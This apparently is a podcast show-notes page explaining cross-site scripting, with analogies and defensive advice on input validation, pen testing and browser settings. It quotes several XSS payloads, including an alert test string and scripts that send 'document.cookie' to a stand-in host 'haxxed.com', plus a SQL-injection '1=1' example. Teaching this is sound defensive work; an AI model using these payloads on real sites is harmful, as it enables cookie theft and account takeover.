SDL Episode93

From Paul's Security Weekly
Jump to: navigation, search

Recorded on December 18, 2018 at G-Unit Studios in Rhode Island!

Hosts

  • Doug White
    Cybersecurity professor, President of Secure Technology, and Security Weekly network host.
  • Announcements

    • If you are interested in quality over quantity and having meaningful conversations instead of just a badge scan, join us April 1-3, at Disney's Contemporary Resort for InfoSec World 2019 where you can connect and network with like-minded individuals in search of actionable information. Use the registration code OS19-SECWEEK for 15% off the Main Conference or World Pass.
    • RSA Conference 2019 is the place to be for the latest in cybersecurity data, innovation and thought leadership. From March 4 – 8, San Francisco will come alive with cybersecurity’s brightest minds as they gather together to discuss the industry’s newest developments. Go to rsaconference.com/securityweekly-us19 to register now using the discount code 5U9SWFD to receive $100 off a full conference pass!
    • Check out our On-Demand material! Some of our previously recorded webcasts are now available On-Demand at: securityweekly.com/ondemand.

    Topic: Cross Site Scripting Attacks



    - Apparently, Microsoft takes credit for the name from way back in 2000. These attacks, which are often labeled as XSS attacks are very common. Basically, this is one of the first types of attacks that hackers learn to do and so many sites can be vulnerable, you can see why. OWASP has it in their top vulnerabilty list (like the top 10). These can just be embarassing, but they can also lead to real threat vectors or even phishing type attacks against you and your websites.

    - So, let's just explain the basics of this type of attack first using a simple example. Let's say there is a corkboard at work (old fashioned) and people put up notices on it with push pins. Just say someone puts up a picture of a dog that says, adopt me with a phone number. You call the number and get hit with a sales pitch for some local politician.
    - Facebook itself (and all BBS type systems) are really just one big xss anyway. As long as there have been bulletin boards, there have been trolls of bulletin boards and when we let people paste things up, well...

    Let's use a really simple one to start.

    • You post a picture of your cat on facebook and say, "pretty kitty". In the comment space, I put "You want to see a really pretty kitty, click this link". Now, if that link takes you to a malware site, that's a kind of xss attack. Not a very sophisticated one, but nevertheless, a xss type of attack.

    - All these types of attacks rely on pushing information into a web page that is then passed on to others (think a messaging app or search box).

    • But, that is not the real xss as that is today typically just called trolling and we see it all the time. It could also be called a phishing attack. But phishing is a kind of "reflective" xss attack at times.

    These types of client side/reflected attacks are persistent threats if you don't develop secure code for your web sites because they can be used over and over against large numbers of people via spamming, robo emails, you name it. Even a robocall could direct you to a page with a xss type link on it and would essentially be a reflected attack.

    So, in reality, the adopted dog/political scam is really a reflective xss type attack in the analog world.

    But let's make the cat pic more of a true xss type attack.

    - Revision: If that site allows me to post information, what if along with my cat picture, I add a script and message it to you. For instance http://foo.bar.com/ which contains <script type = "text/javascript"> var test='../foo.php?; </script>. That would execute the script using the permission level of the browser and perform a client side type attack which would grab all the cookie data in the browser. If you can type those instructions into a message box, that message is then bounced off a web server onto someone else's screen, the script can be set to return key data to you from the browser where it is being viewed.

    • Better yet, what if I can get my <script> section to stay up on a site for a long time? I mean, we see sites all the time that allow "posting", like say all of them. Even news sites allow comments.
    • Another kind of XSS is called a stored or persistent xss attack. It is a much more damaging approach to xss in that when you perform this type of attack, the data pushed in by the bad guy is actually saved on the server rather than just causing some sort of action.



    These types of attacks can be embedded in websites by someone who has compromised the server and hidden the links there. Or the information may be pushed onto the site using some other form (think Facebook) where people post things and leave them there for others to view. If the attack is hidden in the body of the comment then it can persist on the server for a long time and it's difficult to know from where the attack originated.

    I decided that the example of this with the analog bbs was if the pushpins everyone uses had a phone number on them or something like that.

    These types of attacks get pushed into database storage on wordpress and other types of sites like that or basically anything where you can type something that will persist and be seen by others.

    A good example would be an information site you put up that provides your IP address when you connect to the site. You build a site that when someone goes there they see what they came to see but embedded in that web page is a <script> tag that collects cookies (kind of like above). Those script tags don't display and the user is fine. All we have to do is get them to click something (or even just auto execute) on the page and the <script> runs and sends their information to my email. Better yet, would be the same site but one that has a "guest book" section or something like that and someone pastes in the attack script.

    So, imagine that all the links, boxes, insets, etc. on a given page (like Facebook) are vulnerable to these types of persistent or reflected attacks. It's pretty scary and leads to lots of data being collected from browser cookies (think about this <script types="text/javascript"> var foo='..getIt.php?cookie_data='+escape(document.cookie); </script>. That would dump all the cookie data and could be used to send it to some other place or email without the user ever seeing that happen. It could be done in a clicked link or just placed on a page to create reflective or persistent xss.

    A common test of this type of thing is just a script like:

    1. <script>alert('XSS Expoit worked');</script>


    Which would pop up an alert box when it is pushed into the comments. Everyone who goes to the page would see it if it is a persistent xss.

    Originally, browsers contained a lot of unsecured information. usernames, passwords, credit card information, etc. could all be stored in cookies on the browser site. That meant that if you went to a xss site or received an email saying "20% off at our site today", you may inadvertently have given up all your data in a single click.

    There are many different ways to embed these types of attacks using html, javascript, flash, or pretty much any language that is running a web page. Remember, a web page is a piece of code that is "executed" when you go to that page. It's not different then if you ran a .exe file on your local machine in that context so if it has enough privilege to do something, it can. It's just a matter of getting the instructions onto the page.

    Another way these attacks were used was to gather information from public machines by just running certain instructions (like dumping cookies) locally on the machine. It's not really xss but it's still another application of the idea.

    One of the tools you can use to learn more about this is called WebGoat (http://www.securitydistro.com/security-tutorials/OWASP-Introduction-to-XSS-using-WebGoat). This tool can let you test what an xss might look like with a script like:

    1. <script>window.location = 'haxxed.com? cookie=' + document.cookie</script>


    or you could just use the

    1. <script>alert('XSS Expoit worked');</script>



    This puts up a message when it is typed into the box if the xss vulnerability is present.



    So, how do you protect yourself and your sites from these types of vulnerabilities? Well, first of all, you can generally run "automated pen test" type tools to detect known vulnerabilities. A lot of these types of tools have the "known" detection information for various versions of web servers.

    Design: Secure Coding Design



    So, good coding requires more time an energy then insecure coding as you might guess. This is why xss can persist. One of the tenets of secure coding is called "input validation". This idea is that you test what users put into systems before allowing them actually "input" it. As an example, suppose your ATM machine asks you to enter the "amount" and instead of 999.99 you put AAAAXXX or some \% codes. Since the only thing that should be input is numbers and maybe a . you could test for that on input but people all the time don't code that way and as such, they have the likelihood for all sorts of mischief. This type of thing is also seen in SQL injection attacks where people push SQL code or logical instructions into fields like Password: 1=1 and bypass security.

    So, it is possible to parse input and look for things like <script or other things that are being typed. In fact, there are tools that can be embedded to do that parsing when any input is being typed. It's a good idea to code with that in mind.

    The bad news is, that with modern bbs people post all sorts of things which can make it harder to prevent them from typing. Yes, it's easy on a first name field (although 3Jane is a name I like).

    It's also possible to detect certain actions on a page and prevent those actions from being taken. For instance, if there is no reason for a page to run a script, don't allow it to do so in the design of the page and that will prevent the page from executing scripts unless of course you need to run scripts in which case this can be difficult as well.

    - Starting to see why these are prevelant?
    Isolation of things is another important approach. Segmenting a page into pieces means that those pieces can't necessarily (and likely shouldn't) talk to each other. This doesn't mean that someone can't put a reflective script up in a box and not have anyone click it but it may not allow that click to extract local information.

    • Design: Vars and Switches -- There may be tools within whatever platform you are using that will allow you to limit the ability of the platform to do certain things (so you should read up on this related to your platform). - --- - Things like Wordpress have guides for limiting this risk pretty widely available.
    • PhP, Wordpress, etc. all have different methods for doing these things (like script stripping) can be used but they likely have to be "set" in order that they will work. Hence...



    1. Pen Testing: Use Kali/Metasploit, et. al.

    - You should be conducting regular tests on your outward facing materials to look for known vulnerabilities and the ability to type in attacks. Kali has a lot of library add ons to assist in looking for these types of vulnerabilities today but none of this will save you from poorly developed web sites or previously unknown (zero day) exploits on your platform. - Likewise, this is why pen testers should be doing more than just running automated tools. All the time, I see automated pen testing reports where someone pressed a button and that may or may not truly evaluate the risk you face from this.

    1. Better browsers: Ensure your users have up to date browsers and use secure browsers especially when going to strange sites.

    - OWASP has a cheat sheet at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ----- which can give you some starting points. - There is an article at https://www.comparitech.com/blog/vpn-privacy/browser-security-chrome-firefox-edge-safari/ which has some tips as well for securing your browser.

    1. Common Sense:

    In your browser, it is really better not to allow cookies, script execution automatically, etc. So, definitely clean up your settings but you will sometimes want to allow scripts, cookies are certainly convenient, and well, sometimes it's just in flash.

    Look, we have all gone to some site or another that we didn't necessarily trust. Just like in real life, if you are out looking for sex, drugs, and rock and roll, the neighborhood may not be too savory. Using browsers like TOR or even just secure/anonimizer modes may help with this. Vanilla browsers today do more to protect your data (if you set them up correctly) but if your browser is collecting cookies, then data is being stored within it and why is data stored within it? Well, so someone can collect that data. Typically, that someone is supposed to be you, the user, for convenience, but if there is a way to query data, then there is a way to extract the data using xss. Be careful out there.

    Pretty much every browser has an "anonymous" or "safe" browsing mode. Some of the desktop security companies like AVAST have "safe" browsers and so forth. I would definitely check out some of these for use on things you are worried about or particularly things that are very famous for malware (like porn sites, clickbait, that kind of thing).

    Watch for Symptoms: If you see a lot of stray code snippets or something on a board, then people may be trying to do xss and failing or succeeding and not being very neat. It's better to use anonymous browsers when you can and it's obviously better to delete all cookies from your browser when not in use. The bad news is, there may never be any symptoms.

    So, make sure your sites are clean from this by: 1) Testing with automated tools for known vulnerabilities, 2) Pen testing for weakness in design. Remember, just because the engine is not vulnerable, doesn't mean you can't code in your own flaws.

    Make sure you protect yourself from this: 1) Use safe browsers, 2) Be careful what you store on your machine and in your browser, 3) Check links before clicking, 4) Watch for symptoms of dangerous neighborhoods.